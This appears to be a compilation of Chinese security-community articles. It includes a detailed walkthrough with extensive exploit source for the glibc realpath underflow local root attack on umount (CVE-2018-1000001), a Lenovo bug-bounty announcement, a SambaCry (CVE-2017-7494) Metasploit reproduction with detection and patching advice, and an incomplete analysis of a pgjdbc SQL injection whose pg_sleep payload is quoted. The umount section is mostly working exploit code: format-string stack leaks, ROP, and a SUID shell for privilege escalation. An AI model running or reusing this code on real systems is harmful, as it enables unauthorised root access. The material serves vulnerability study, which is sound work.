由于 umount 的 realpath() 的操作发生在堆上，第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量，仅保留
locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本（如时间、日期等），它会在 umount
参数解析之前进行初始化，所以会影响到堆的结构和位于 realpath() 函数缓冲区前面的那些低地址的内容。漏洞的利用依赖于单个 locale
的可用性，在标准系统中，libc 提供了一个 `/usr/lib/locale/C.UTF-8`，它通过环境变量 `LC_ALL=C.UTF-8`
进行加载。
在 locale 被设置后，缓冲区下溢将覆盖 locale 中用于加载 national language support(NLS) 的字符串中的一个
/，进而将其更改为相对路径。然后，用户控制的 umount 错误信息的翻译将被加载，使用 fprintf() 函数的 %n
格式化字符串，即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的，所以可以忽略 ASLR
的影响。于是我们就可以利用该特性覆盖掉 `libmnt_context` 结构体中的 restricted 字段：
// util-linux/libmount/src/mountP.h
struct libmnt_context
{
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
int restricted; /* root or not? */
char *fstype_pattern; /* for mnt_match_fstype() */
char *optstr_pattern; /* for mnt_match_options() */
[...]
};
在安装文件系统时，挂载点目录的原始内容会被隐藏起来并且不可用，直到被卸载。但是，挂载点目录的所有者和权限没有被隐藏，其中 restricted
标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖，umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的
DoS（如参考文章中所示，可以在Debian下尝试）。
当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的：
static char* osSpecificExploitDataList[]={
// Ubuntu Xenial libc=2.23-0ubuntu9
"\"16.04.3 LTS (Xenial Xerus)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"_nl_load_locale_from_archive",
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
};
`prepareNamespacedProcess()` 函数如下所示：
static int usernsChildFunction() {
[...]
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
[...]
}
pid_t prepareNamespacedProcess() {
if(namespacedProcessPid==-1) {
[...]
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); // 调用 clone() 创建进程，新进程执行函数 usernsChildFunction()
[...]
char pathBuffer[PATH_MAX];
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
namespacedProcessPid);
char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd 是一个符号连接, 指向进程当前的工作目录
// Create directories needed for umount to proceed to final state
// "not mounted".
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // 在 cwd 目录下递归创建 (unreachable)/x。下同
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
// Create symlink to trigger underflows.
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
namespaceMountBaseDir);
result=symlink(osReleaseExploitData[1], pathBuffer); // 创建名为 pathBuffer 的符号链接
[...]
// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]); // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限
[...]
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
char *stackDumpStrEnd=stackDumpStr;
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // 通过格式化字符串 dump 栈数据，以对抗 ASLR
memcpy(stackDumpStrEnd, "%016lx", 6);
stackDumpStrEnd+=6;
}
[...]
result=writeMessageCatalogue(pathBuffer,
(char*[]){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
},
(char*[]){"1234", stackDumpStr, "5678"},
3); // 伪造一个 catalogue，将上面的 stackDumpStr 格式化字符串写进去
[...]
result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);
secondPhaseTriggerPipePathname=strdup(pathBuffer); // 创建文件
[...]
result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);
secondPhaseCataloguePathname=strdup(pathBuffer); // 创建文件
return(namespacedProcessPid); // 返回子进程 ID
}
所创建的各种类型文件如下：
$ find /proc/10173/cwd/ -type d
/proc/10173/cwd/
/proc/10173/cwd/(unreachable)
/proc/10173/cwd/(unreachable)/tmp
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/(unreachable)/x
$ find /proc/10173/cwd/ -type f
/proc/10173/cwd/DATEMSK
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
/proc/10173/cwd/ready
$ find /proc/10173/cwd/ -type l
/proc/10173/cwd/(unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo
然后在父进程里可以对子进程进行设置，通过设置 setgroups 为 deny，可以限制在新 namespace 里面调用 setgroups()
函数来设置 groups；通过设置 `uid_map` 和 `gid_map`，可以让子进程设置好挂载点。结果如下：
$ cat /proc/10173/setgroups
deny
$ cat /proc/10173/uid_map
0 999 1
$ cat /proc/10173/gid_map
0 999 1
这样准备工作就做好了。进入第二部分 attemptEscalation() 函数：
int attemptEscalation() {
[...]
pid_t childPid=fork();
if(!childPid) {
[...]
result=chdir(targetCwd); // 改变当前工作目录为 targetCwd
// Create so many environment variables for a kind of "stack spraying".
int envCount=UMOUNT_ENV_VAR_COUNT;
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
umountEnv[envCount--]=NULL;
umountEnv[envCount--]="LC_ALL=C.UTF-8";
while(envCount>=0) {
umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
}
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
result=execve(umountArgs[0], umountArgs, umountEnv);
}
[...]
int escalationPhase=0;
[...]
while(1) {
if(escalationPhase==2) { // 阶段 2 => case 3
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
[...]
escalationPhase++;
}
// Wait at most 10 seconds for IO.
result=poll(pollFdList, 1, 10000);
[...]
// Perform the IO operations without blocking.
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
result=read(
pollFdList[0].fd, readBuffer+readDataLength,
sizeof(readBuffer)-readDataLength);
[...]
readDataLength+=result;
// Handle the data depending on escalation phase.
int moveLength=0;
switch(escalationPhase) {
case 0: // Initial sync: read A*8 preamble. // 阶段 0，读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
[...]
char *preambleStart=memmem(readBuffer, readDataLength,
"AAAAAAAA", 8); // 查找内存，设置 preambleStart
[...]
// We found, what we are looking for. Start reading the stack.
escalationPhase++; // 阶段加 1 => case 1
moveLength=preambleStart-readBuffer+8;
case 1: // Read the stack. // 阶段 1，利用格式化字符串读出栈数据，计算出 libc 等有用的地址以对付 ASLR
// Consume stack data until or local array is full.
while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
result=sscanf(readBuffer+moveLength, "%016lx",
(int*)(stackData+stackDataBytes));
[...]
moveLength+=sizeof(long)*2;
stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
if(stackDataBytes==sizeof(stackData))
break;
}
if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立，即所有数据已经读完
break;
// All data read, use it to prepare the content for the next phase.
fprintf(stderr, "Stack content received, calculating next phase\n");
int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址
// This is the address, where source Pointer is pointing to.
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
void *sourcePointerLocation=sourcePointerTarget-0xd0;
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
sourcePointerLocation, sourcePointerTarget,
targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
void *stackWriteData[]={
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
};
fprintf(stderr, "Changing return address from %p to %p, %p\n",
libcStartFunctionAddress, stackWriteData[0],
stackWriteData[1]);
escalationPhase++; // 阶段加 1 => case 2
char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
createStackWriteFormatString(
escalationString, 1024,
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
sourcePointerTarget, // Base value to write
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
libcStartFunctionReturnAddressSource,
(unsigned short*)stackWriteData,
sizeof(stackWriteData)/sizeof(unsigned short)
);
fprintf(stderr, "Using escalation string %s", escalationString);
result=writeMessageCatalogue(
secondPhaseCataloguePathname,
(char*[]){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
},
(char*[]){
escalationString,
"BBBB5678%3$s\n",
"BBBBABCD%s\n"},
3);
break;
case 2: // 阶段 2，修改了参数 “LANGUAGE”，从而触发了 util-linux.mo 的重新读入，然后将新的格式化字符串写入到另一个 util-linux.mo 中
case 3: // 阶段 3，读取 umount 的输出以避免阻塞进程，同时等待 ROP 执行 fchown/fchmod 修改权限和所有者，最后退出
// Wait for pipe connection and output any result from mount.
readDataLength=0;
break;
[...]
}
if(moveLength) {
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
readDataLength-=moveLength;
}
}
}
attemptEscalationCleanup:
[...]
return(escalationSuccess);
}
通过栈喷射在内存中放置大量的 "AANGUAGE=X.X" 环境变量，这些变量位于栈的上部，包含了大量的指针。当运行 umount 时，很可能会调用到
realpath() 并造成下溢。umount 调用 setlocale 设置 locale，接着调用 realpath() 检查路径的过程如下：
/*
* Check path -- non-root user should not be able to resolve path which is
* unreadable for him.
*/
static char *sanitize_path(const char *path)
{
[...]
p = canonicalize_path_restricted(path); // 该函数会调用 realpath()，并返回绝对地址
[...]
return p;
}
int main(int argc, char **argv)
{
[...]
setlocale(LC_ALL, ""); // 设置 locale，LC_ALL 变量的值会覆盖掉 LANG 和所有 LC_* 变量的值
[...]
if (all) {
[...]
} else if (argc < 1) {
[...]
} else if (alltargets) {
[...]
} else if (recursive) {
[...]
} else {
while (argc--) {
char *path = *argv;
if (mnt_context_is_restricted(cxt)
&& !mnt_tag_is_valid(path))
path = sanitize_path(path); // 调用 sanitize_path 函数检查路径
rc += umount_one(cxt, path);
if (path != *argv)
free(path);
argv++;
}
}
mnt_free_context(cxt);
return (rc < 256) ? rc : 255;
}
#include <locale.h>
char *setlocale(int category, const char *locale);
// util-linux/lib/canonicalize.c
char *canonicalize_path_restricted(const char *path)
{
[...]
canonical = realpath(path, NULL);
[...]
return canonical;
}
因为所布置的环境变量是错误的（正确的应为 "LANGUAGE=X.X"），程序会打印出错误信息，此时第一阶段的 message catalogue
文件被加载，里面的格式化字符串将内存 dump 到 stderr，然后正如上面所讲的设置 restricted 字段，并将一个
L写到喷射栈中，将其中一个环境变量修改为正确的 "LANGUAGE=X.X"。
由于 LANGUAGE 发生了改变，umount 将尝试加载另一种语言的 catalogue。此时 umount 会有一个阻塞时间用于创建一个新的
message catalogue，漏洞利用得以同步进行，然后 umount 继续执行。
更新后的格式化字符串现在包含了当前程序的所有偏移。但是堆栈中却没有合适的指针用于写入，同时因为 fprintf
必须调用相同的格式化字符串，且每次调用需要覆盖不同的内存地址，这里采用一种简化的虚拟机的做法，将每次 fprintf
的调用作为时钟，路径名的长度作为指令指针。格式化字符串重复处理的过程将返回地址从主函数转移到了 getdate() 和 execl()
两个函数中，然后利用这两个函数做 ROP。
被调用的程序文件中包含一个 shebang（即"#!"），使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限，使其变成一个
SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化，它会做一些清理工作并调用 SUID 二进制文件的辅助功能，即一个 SUID
shell，完成提权。
#### 0x05 参考链接
* <https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/>
* <https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001>
* <https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c>
* man 3 getcwd，man 3 realpath，man mount_namespaces
* * * | 社区文章 |
# 联想首次安全众测即将开启
|
##### 译文声明
本文是翻译文章，文章来源：安全客,LSRC
译文仅供参考，具体内容表达以及含义原文为准。
抓住夏季的尾巴，LSRC隆重推出第一期联想安全众测活动！本期众测活动主要针对联想多款产品的 **客户端**
开展，力造更安全用户体验更佳的产品。LSRC在此诚邀各位安全专家对7款联想产品进行安全测试，积极参与本期众测活动。
本期众测活动将对每个确认的漏洞进行奖励，单个漏洞奖金最高可达 **3000元**
。另外，活动结束后将评选出TOP3优秀个人或团队，颁发LSRC专属定制奖杯和额外奖励。
**【活动时间】**
2016年8月15日—2016年9月15日
**【产品目录】**
8月15日9:00发布（lsrc.lenovo.com）
**【奖励方案】**
**漏洞等级**
|
**奖励金额**
---|---
**高危**
|
1525-3000元
**中危**
|
325-1500元
**低危**
|
150-300元
**优秀团队/个人**
|
**额外奖励**
---|---
**第1名**
|
10000元
**第2名**
|
7000元
**第** **3** **名**
|
5000元
本次众测活动为专项线上活动，为了更有针对性的获取有价值的漏洞，特采用如下专项漏洞评估标准。
**【评估标准】**
**基本原则**
1、此次测试只面向客户端，如遇URL存在漏洞，统一以LSRC常规漏洞进行评分（非众测计分方式）。
2、此次众测所得积分不计入当月常规漏洞排行。
3、对于同一漏洞，只奖励首个发现该问题的安全专家。
4、漏洞提交报告应尽量详尽，阐述漏洞原理，提供漏洞证据，提出修复建议。
5、各漏洞的最终审核情况由漏洞利用难易程度、危害大小及影响范围综合考虑决定。
**客户端漏洞评分标准**
根据漏洞的主要影响，我们将漏洞危害程度分为 **高、中、低、** **忽略** 四个等级。
【高危】
基础安全币：305-600 （奖金=安全币×5元），本等级包括但不限于：
1、直接获取权限的漏洞（客户端权限）。包括但不限于远程任意命令执行、可利用远程缓冲区溢出、可利用的 ActiveX 堆栈溢出、可利用浏览器use after
free 漏洞、可利用远程内核代码执行漏洞以及其它因逻辑问题导致的可利用的远程代码执行漏洞。
2、直接导致严重影响的逻辑漏洞。包括但不限于伪造任意号码发送消息、伪造弹 TIPS 漏洞、任意帐号密码更改漏洞。
【中危】
基础安全币：65-300，（奖金=安全币×5元），本等级包括但不限于：
1、本地任意代码执行。包括但不限于本地可利用的堆栈溢出、UAF、double free、format string、本地提权以及客户端产品的远程 DoS
漏洞、其它逻辑问题导致的本地代码执行漏洞。
2、直接获取客户端权限的漏洞。包括但不限于远程任意命令执行、远程缓冲区溢出、可利用的 ActiveX 堆栈溢出、浏览器 use after free
漏洞、远程内核代码执行漏洞以及其它因逻辑问题导致的远程代码执行漏洞。
3、产品本地应用敏感信息泄露、内核拒绝服务漏洞、可获取敏感信息或者执行敏感操作的客户端产品的 XSS 漏洞。
4、普通信息泄漏漏洞。包括但不限于客户端明文存储密码、包含敏感信息。
【低危】
基础安全币：30-60，（奖金=安全币×5元），本等级包括但不限于：
1、客户端难以利用但又可能存在安全隐患的问题。
2、本地拒绝服务漏洞。包括但不限于组件权限导致的本地拒绝服务漏洞。
【忽略】
基础安全币：0，本等级包含但不限于：
1、不涉及安全问题的bug，包括但不仅限于产品功能缺陷、页面乱码、样式混乱。
2、不能重现的漏洞。
3、纯属用户猜测的问题。
4、不接受各类DLL劫持、源码反编译漏洞。
**额外奖励**
1、本次活动将评选出排名Top3的优秀个人或团队进行颁发由LSRC专属定制的荣誉奖杯以及额外奖励。
**优秀团队/个人排名**
|
**奖励金额**
---|---
**第1名**
|
10000元
**第2名**
|
7000元
**第3名**
|
5000元
2、优秀个人/团队具体评选要求：
a)总安全币达10000以上（约30个漏洞）；
b)如果团队，要求至少人均含有一个高危漏洞；
c)若没有符合要求的漏洞提交者，则此奖项空缺；
**争议解决办法**
在漏洞处理过程中,如果报告者对处理流程.漏洞评定.漏洞评分等具有异议的,请通过邮件：[email protected]
并以邮件标题【联想众测漏洞处理异议】进行反馈，我们会有专门工作人员负责优先处理此类反馈。LSRC
将按照漏洞报告者利益优先的原则处理，必要时可引入外部安全人士共同裁定。
**【参与原则】**
凡注册LSRC的白帽子用户均可参加本期众测活动，所有参与LSRC众测活动的白帽子必须遵守众测活动安全规范及保密要求。
**行为规范**
LSRC白帽子常规漏洞行为规范，同时适用于本次众测活动：
验证漏洞存在及利用方法可行即可，在利用过程中一旦发现涉及到联想敏感信息泄露或稳定性相关的问题，须立即停止进一步利用，确保不对业务造成影响。具体规范包括但不限于：
1\. 禁止进入内网，禁止内部网络使用扫描器等自动化工具。
2\. 禁止高风险操作，例如：服务器提权操作等。
3\. 禁止提交虚假、描述不清的漏洞。
4\. 禁止对业务造成稳定性、可用性等受损。
5\. 禁止对交易数据、用户信息等敏感信息进行下载/拖取，流量监控系统会对数据拖取行为进行记录报警。
6\. 避免以社工方式渗透网络，聚焦分析业务的技术层面脆弱性。
7\. 对漏洞证明中可能获取的少量的网络拓扑信息、应用代码、数据等需严格保密。
**处罚措施**
对于违反上述规定的白帽子，会根据具体情况进行处罚：封号3个月至永久，同时冻结奖金，极其严重者，直接清空奖金；
一旦满足处罚条件，当期所有漏洞忽略，漏洞将由联想自行处理：
1\. 使用扫描器。
2\. 对企业业务造成破坏。
3\. 恶意刷漏洞数量。
4\. 提交虚假漏洞。
5\. 使用的测试方法有可能对联想的业务造成影响，如拒绝服务攻击等测试。
【 **特别说明** 】
本次活动最终解释权归联想所有，对于恶意违反上述规定的人员，联想会依据实际情况采取不同力度的处罚措施，对于严重入侵行为联想有权追究其法律责任。 | 社区文章 |
# 【漏洞分析】Samba远程代码执行漏洞(CVE-2017-7494)-SambaCry分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【国际资讯】CVE-2017-7494：Linux版“永恒之蓝”远程代码执行漏洞预警**](http://bobao.360.cn/news/detail/4180.html)
[**【高危预警】Samba远程代码执行漏洞(CVE-2017-7494)分析**](http://bobao.360.cn/learning/detail/3900.html)
**
**
**0x01 引子**
**2017年5月24日Samba官方发布了安全公告，新发布的Samba
4.6.4修复了一个严重的代码执行漏洞(CVE-2017-7494)，该漏洞影响了Samba 3.5.0
之后到4.6.4/4.5.10/4.4.14中间的所有版本。**
在rpc_server/srv_pipe.c中的存在一个验证BUG，攻击者可以利用客户端上传恶意动态库文件到具有可写权限的共享目录中，之后发出请求，使服务器加载Samba运行目录以外的非法模块，导致恶意代码执行。
Samba，是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做链接的自由软件。很多企业或个人的 NAS(Network
Attached Storage)，路由器和其他IOT设备存储解决方案会选择开源软件Samba提供数据访问服务。IPC$(Internet Process
Connection) 是共享 “命名管道” 的资源，能使用户匿名访问Samba服务器的共享资源。
**
**
**0x02 漏洞影响分析**
**基于360天眼实验室全网扫描的数据显示，目前中国大陆及港澳台开放445端口的IP数为18883个，其中Samba服务共4433个，而Samba版本落在漏洞版本区间的IP数为3765个，占到了Samba服务的85%！台湾、香港分别为1767、1853个，其余各省分布如下图所示。**
**0x03 漏洞验证及分析**
**环境准备：**
使用Metasploit公开的exploits模块(is_known_pipename)进行测试。下载地址：<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb>
**攻击过程：**
1\. 向具有写权限的Samba服务器共享目录中上传恶意动态库，这里命名为evil.so;
2\. 攻击者暴力猜解共享目录的绝对路径，同时以IPC$(命名管道)资源的方式请求步骤1上传的恶意动态库，使文件名变为服务器上的绝对路径”
/path/to/evil.so”;
3\. 服务器端误将文件资源 ” /path/to/evil.so” 当作IPC$(命名管道)资源加载运行，漏洞触发。
1）上传恶意动态库文件到服务器共享目录public
第51个包Write AndX Request写操作请求数据，如下所示:
SMB (Server Message Block Protocol)
SMB Header
Server Component: SMB
[Response in: 52]
SMB Command: Write AndX (0x2f)
Error Class: Success (0x00)
…
Tree ID: 51295 (\192.168.119.155public) #访问靶机共享文件路径Tree ID
Process ID: 51988
User ID: 62509
Multiplex ID: 27235
Write AndX Request (0x2f)
Word Count (WCT): 14
AndXCommand: No further commands (0xff)
Reserved: 00
AndXOffset: 0
FID: 0xef37 (rDfDKbgV.so) # 恶意动态库文件FID
…
[File RW Length: 476] #写入文件大小
Byte Count (BCC): 476
Data (476 bytes) #上传二进制数据
Data: 7f454c4602010100000000000000000003003e0001000000...
[Length: 476]
2）以命名管道方式请求恶意动态库
第59个包NT Create AndX Request 请求命名管道资源数据，如下所示：
SMB (Server Message Block Protocol)
SMB Header
Server Component: SMB
SMB Command: NT Create AndX (0xa2)
…
Tree ID: 19967 (\192.168.119.155IPC$) #这里使用命名管道方式很重要
Process ID: 51988
User ID: 62509
Multiplex ID: 27235
NT Create AndX Request (0xa2)
Word Count (WCT): 24
AndXCommand: No further commands (0xff)
Reserved: 00
AndXOffset: 0
Reserved: 00
File Name Len: 23
Create Flags: 0x00000016
Root FID: 0x00000000
…
Byte Count (BCC): 24
File Name: /home/samba/rDfDKbgV.so # 管道名称即为前面上传文件的绝对路径
3）服务器加载恶意动态库
Smbd服务进程详细调用链，如下如所示：
Samba漏洞关键源代码位置，如下如所示：
由于没有对pipename的值做判断，smb_probe_module函数调用执行在共享目录下上传so的文件，进而导致恶意代码执行漏洞。
Metaspoit中提供在SMB_SHARE_BASE的列表用于猜解，共享目录的绝对路径。笔者直接设置可正确的Samba共享目录绝对路径，可以确保一次通过。
**0x04 检测漏洞是否存在**
1） 本地检测：本地检查Samba版本是否属于 4.4.14、 4.5.10、4.6.4 及以后的版本。
2） 远程检测：使用nmap –script=smb-os-discovery -p 445 192.168.1.122/24命令扫描网络中Samba版本。
**0x05 漏洞修复**
1\. Samba 官方已经提供了新版本来修复上述漏洞，请受影响的用户尽快升级到新版本。使用源码安装的 Samba 用户，请尽快下载最新的 Samba
版本手动更新；使用二进制分发包（RPM 等方式）的用户立即进行 yum，apt-get update 等安全更新操作。
下载链接如下：
https://download.samba.org/pub/samba/stable/samba-4.6.4.tar.gz
https://download.samba.org/pub/samba/stable/samba-4.5.10.tar.gz
<https://download.samba.org/pub/samba/stable/samba-4.4.14.tar.gz>
2\. 缓解措施：通过在 smb.conf 的[global]节点下增加 nt pipe support = no选项， 然后重新启动Samba
服务，以此达到缓解针对该漏洞攻击的效果。
**0x06 FAQ**
1）很多童鞋在ubuntu16.04或者centos6.8上没有验证成功，是so不对？metasploit版本不对？还是靶机环境不对？
答：
a)
kali上的metasploit保证最新，然后只需下载对应的is_known_pipename.rb模块，放入/usr/share/metasploit-framework/modules/exploits/linux/samba/目录即可;
b) 使用metasploit自带的payload生成模块即可，默认为reverse TCP;
c) 本次测试靶机的smb.conf设置如下：
[public]
path = /home/samba
public = yes
writable = yes
browseable = yes
guest ok = yes
read list = nobody
write list = nobody
能触发漏洞的配置文件版本很多，writable = yes是必需的，global里有个security设置，删除后默认是匿名访问。
d) 本次测试共享目录/home/samba的权限为777;
e) 重点：2017年5月24日以后使用apt或者yum安装的smb服务基本都是打过补丁的，所以不可能利用成功。
2）如何在ubuntu下查看Samba的完整版本？
a) apt install apt-show-versions
b) apt-show-versions samba
c)
位置1是Samba版本，位置2是ubuntu补丁版(ubuntu0.16.04.7)，可以参见ubuntu的修改日志http://changelogs.ubuntu.com/changelogs/pool/main/s/samba/samba_4.3.11+dfsg-0ubuntu0.16.04.7/changelog，可以看到已经修复了漏洞CVE-2017-7494。
3）如何查看centos已经修复的版本？
笔者这里找到的是RHEL的更新日志，redhat也在5月24日紧急更新了所有在维护的Samba包，修复漏洞CVE-2017-7494。文章详见：https://rhn.redhat.com/errata/RHSA-2017-1270.html。
**参考文献**
<https://github.com/rapid7/metasploit-framework/pull/8450>
<http://bobao.360.cn/learning/detail/3900.html>
<http://www.4hou.com/vulnerable/4976.html>
<https://github.com/omri9741/cve-2017-7494>
<https://www.samba.org/samba/security/CVE-2017-7494.html>
<https://rhn.redhat.com/errata/RHSA-2017-1270.html>
<http://changelogs.ubuntu.com/changelogs/pool/main/s/samba/samba_4.3.11+dfsg-0ubuntu0.16.04.7/changelog>
**传送门**
* * *
[**【国际资讯】CVE-2017-7494：Linux版“永恒之蓝”远程代码执行漏洞预警**](http://bobao.360.cn/news/detail/4180.html)
[**【高危预警】Samba远程代码执行漏洞(CVE-2017-7494)分析**](http://bobao.360.cn/learning/detail/3900.html) | 社区文章 |
## 写在前面
偶然看到了CVE-2022-31197，是由于`ResultSet.refreshRow()`引发的SQL注入，感觉有点小有意思，正好之前学习了JDBC
attack,决定分析一下漏洞造成的原因
## 漏洞分析
在官方的[描述](https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2)中，被修复版本有`42.2.26
42.4.1`
这里我们选用`42.2.23`版本的`postgresql`数据库依赖
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.23</version>
</dependency>
在连接中，他给出了一个payload
CREATE TABLE refresh_row_example (
id int PRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);
这个cve的漏洞点主要是在`PgResultSet#refreshRow`方法中，在该方法中打下断点，跟进代码
在这个方法中我观察到有一处执行sql语句的地方，或许那里就是漏洞触发点吧？
言归正传，如果我们需要到达漏洞触发点位置第一个拦路虎就是else if语句中的判断
拆分开来，第一个是需要使得`this.isBeforeFirst()`为false，跟进代码逻辑
其中需要使得`this.rowOffset + this.currentRow < 0`但是前者为`0`
只能从后者做文章了，那么`this.currentRow`是什么捏？
怎么才能使得其不为`-1`捏？
通过全局搜索对`currentRow`属性的赋值，我发现在`next`方法中，存在有其赋值操作
所以我们需要使得这个表有数据并在调用`ResultSet.refreshRow`之前调用`ResultSet.next`才能满足条件
回到else if语句，继续分析，`isAfterLast`的调用
要想返回false，因为之前需要表中存在数据，所以if语句就不能返回false,
我们就只能使得`currentRow`属性小于`rows_size`才能满足条件
接下来就是`Nullness.castNonNull(this.rows, "rows")`使得其返回不为空，跟进
很简单，前面就已经满足了，只需要满足有数据就OK
接下来就是sql语句的拼接逻辑，简单看看，了解payload的构造原理
在最开始就创建了`select`开头的StringBuilder类，之后通过一个for循环获取表中的列名，并加以拼接
接下来又在后面添加了`from`/表名/where等关键词
之后又是获取了`primary key`修饰的列名，并且在后面添加了`= ?`这类预编译手法，如果有多个primary key，将添加and逻辑词处理
接着就在最后调用了查询语句，执行了恶意SQL
## 漏洞利用
### Payload构造
